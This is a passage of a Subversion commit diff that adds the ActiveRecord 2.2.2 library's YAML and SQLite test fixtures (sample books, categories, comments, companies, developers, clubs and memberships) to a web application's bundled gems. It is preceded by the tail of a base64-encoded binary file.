+    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
+    w+vWq0iscQwxQroiUIvkKsRZQBKAJQBKAJQB/9k=

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/books.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/books.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/books.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+awdr:
+  id: 1
+  name: "Agile Web Development with Rails"
+
+rfr:
+  id: 2
+  name: "Ruby for Rails"

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories/special_categories.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories/special_categories.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories/special_categories.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+sub_special_1:
+  id: 100
+  name: A special category in a subdir file
+  type: SpecialCategory
+
+sub_special_2:
+  id: 101
+  name: Another special category
+  type: SpecialCategory

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories/subsubdir/arbitrary_filename.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories/subsubdir/arbitrary_filename.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories/subsubdir/arbitrary_filename.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+sub_special_3:
+  id: 102
+  name: A special category in an arbitrarily named subsubdir file
+  type: SpecialCategory

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+general:
+  id: 1
+  name: General
+  type: Category
+
+technology:
+  id: 2
+  name: Technology
+  type: Category
+
+sti_test:
+  id: 3
+  name: Special category
+  type: SpecialCategory

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories_ordered.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories_ordered.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories_ordered.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+--- !!omap
+<% 100.times do |i| %>
+- fixture_no_<%= i %>:
+    id: <%= i %>
+    name: <%= "Category #{i}" %>
+    type: Category
+<% end %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories_posts.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories_posts.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories_posts.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+general_welcome:
+  category_id: 1
+  post_id: 1
+
+technology_welcome:
+  category_id: 2
+  post_id: 1
+
+general_thinking:
+  category_id: 1
+  post_id: 2
+
+general_sti_habtm:
+  category_id: 1
+  post_id: 6
+
+sti_test_sti_habtm:
+  category_id: 3
+  post_id: 6
+
+general_hello:
+  category_id: 1
+  post_id: 4

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categorizations.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categorizations.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categorizations.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+david_welcome_general:
+  id: 1
+  author_id: 1
+  post_id: 1
+  category_id: 1
+
+mary_thinking_sti:
+  id: 2
+  author_id: 2
+  post_id: 2
+  category_id: 3
+
+mary_thinking_general:
+  id: 3
+  author_id: 2
+  post_id: 2
+  category_id: 1

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/clubs.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/clubs.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/clubs.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+boring_club:
+  name: Banana appreciation society
+moustache_club:
+  name: Moustache and Eyebrow Fancier Club
+crazy_club:
+  name: Skull and bones
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/comments.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/comments.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/comments.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,59 @@
+greetings:
+  id: 1
+  post_id: 1
+  body: Thank you for the welcome
+  type: Comment
+
+more_greetings:
+  id: 2
+  post_id: 1
+  body: Thank you again for the welcome
+  type: Comment
+  
+does_it_hurt:
+  id: 3
+  post_id: 2
+  body: Don't think too hard
+  type: SpecialComment
+
+eager_sti_on_associations_vs_comment:
+  id: 5
+  post_id: 4
+  body: Very Special type
+  type: VerySpecialComment
+
+eager_sti_on_associations_s_comment1:
+  id: 6
+  post_id: 4
+  body: Special type
+  type: SpecialComment
+
+eager_sti_on_associations_s_comment2:
+  id: 7
+  post_id: 4
+  body: Special type 2
+  type: SpecialComment
+
+eager_sti_on_associations_comment:
+  id: 8
+  post_id: 4
+  body: Normal type 
+  type: Comment
+
+check_eager_sti_on_associations:
+  id: 9
+  post_id: 5
+  body: Normal type
+  type: Comment
+
+check_eager_sti_on_associations2:
+  id: 10
+  post_id: 5
+  body: Special Type
+  type: SpecialComment
+
+eager_other_comment1:
+  id: 11
+  post_id: 7
+  body: go crazy
+  type: SpecialComment

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/companies.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/companies.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/companies.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,56 @@
+first_client:
+  id: 2
+  type: Client
+  firm_id: 1
+  client_of: 2
+  name: Summit
+  ruby_type: Client
+  firm_name: 37signals
+
+first_firm:
+  id: 1
+  type: Firm
+  name: 37signals
+  ruby_type: Firm
+
+second_client:
+  id: 3
+  type: Client
+  firm_id: 1
+  client_of: 1
+  name: Microsoft
+  ruby_type: Client
+
+another_firm:
+  id: 4
+  type: Firm
+  name: Flamboyant Software
+  ruby_type: Firm
+
+another_client:
+  id: 5
+  type: Client
+  firm_id: 4
+  client_of: 4
+  name: Ex Nihilo
+  ruby_type: Client
+
+rails_core:
+  id: 6          
+  name: RailsCore
+  type: DependentFirm
+  
+leetsoft:
+  id: 7 
+  name: Leetsoft
+  client_of: 6
+  
+jadedpixel:
+  id: 8 
+  name: Jadedpixel
+  client_of: 6
+
+odegy:
+  id: 9
+  name: Odegy
+  type: ExclusivelyDependentFirm

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/computers.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/computers.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/computers.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+workstation:
+  id: 1
+  developer: 1
+  extendedWarranty: 1

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/courses.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/courses.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/courses.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+ruby:
+  id: 1
+  name: Ruby Development
+
+java:
+  id: 2
+  name: Java Development

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/customers.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/customers.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/customers.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,26 @@
+david:
+  id: 1
+  name: David
+  balance: 50
+  address_street: Funny Street
+  address_city: Scary Town
+  address_country: Loony Land
+  gps_location: 35.544623640962634x-105.9309951055148
+
+zaphod:
+  id: 2
+  name: Zaphod
+  balance: 62
+  address_street: Avenue Road
+  address_city: Hamlet Town
+  address_country: Nation Land
+  gps_location: NULL
+
+barney:
+  id: 3
+  name: Barney Gumble
+  balance: 1
+  address_street: Quiet Road
+  address_city: Peaceful Town
+  address_country: Tranquil Land
+  gps_location: NULL
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/developers.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/developers.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/developers.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+david:
+  id: 1
+  name: David
+  salary: 80000
+
+jamis:
+  id: 2
+  name: Jamis
+  salary: 150000
+
+<% for digit in 3..10 %>
+dev_<%= digit %>:
+  id: <%= digit %>
+  name: fixture_<%= digit %>
+  salary: 100000
+<% end %>
+
+poor_jamis:
+  id: 11
+  name: Jamis
+  salary: 9000
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/developers_projects.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/developers_projects.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/developers_projects.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+david_action_controller:
+  developer_id: 1
+  project_id: 2
+  joined_on: 2004-10-10
+
+david_active_record:
+  developer_id: 1
+  project_id: 1
+  joined_on: 2004-10-10
+
+jamis_active_record:
+  developer_id: 2
+  project_id: 1
+
+poor_jamis_active_record:
+  developer_id: 11
+  project_id: 1
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/edges.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/edges.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/edges.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+<% (1..4).each do |id| %>
+edge_<%= id %>:
+  id: <%= id %>
+  source_id: <%= id %>
+  sink_id: <%= id + 1 %>
+<% end %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/entrants.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/entrants.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/entrants.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+first:
+  id: 1
+  course_id: 1
+  name: Ruby Developer
+
+second:
+  id: 2
+  course_id: 1
+  name: Ruby Guru
+
+third:
+  id: 3
+  course_id: 2
+  name: Java Lover

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/fixture_database.sqlite3
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/fixture_database.sqlite3
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/fixture_database_2.sqlite3
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/fixture_database_2.sqlite3
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/fk_test_has_fk.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/fk_test_has_fk.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/fk_test_has_fk.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+first:
+  id: 1
+  fk_id: 1

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/fk_test_has_pk.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/fk_test_has_pk.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/fk_test_has_pk.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+first:
+  id: 1
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/funny_jokes.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/funny_jokes.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/funny_jokes.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+a_joke:
+  id: 1
+  name: Knock knock
+
+another_joke:
+  id: 2
+  name: |
+       The \n Aristocrats
+       Ate the candy
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/items.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/items.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/items.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+dvd:
+  id: 1
+  name: Godfather
+  
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/jobs.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/jobs.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/jobs.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+unicyclist:
+  id: 1
+  ideal_reference_id: 2
+clown:
+  id: 2
+magician:
+  id: 3

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/legacy_things.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/legacy_things.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/legacy_things.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+obtuse:
+  id: 1
+  tps_report_number: 500

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/mateys.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/mateys.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/mateys.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+blackbeard_to_redbeard:
+  pirate_id: <%= Fixtures.identify(:blackbeard) %>
+  target_id: <%= Fixtures.identify(:redbeard) %>
+  weight: 10

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/members.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/members.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/members.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+groucho:
+  name: Groucho Marx
+some_other_guy:
+  name: Englebert Humperdink
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/memberships.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/memberships.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/memberships.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+membership_of_boring_club:
+  joined_on: <%= 3.weeks.ago.to_s(:db) %>
+  club: boring_club
+  member: groucho
+  favourite: false
+  type: CurrentMembership
+  
+membership_of_favourite_club:
+  joined_on: <%= 3.weeks.ago.to_s(:db) %>
+  club: moustache_club
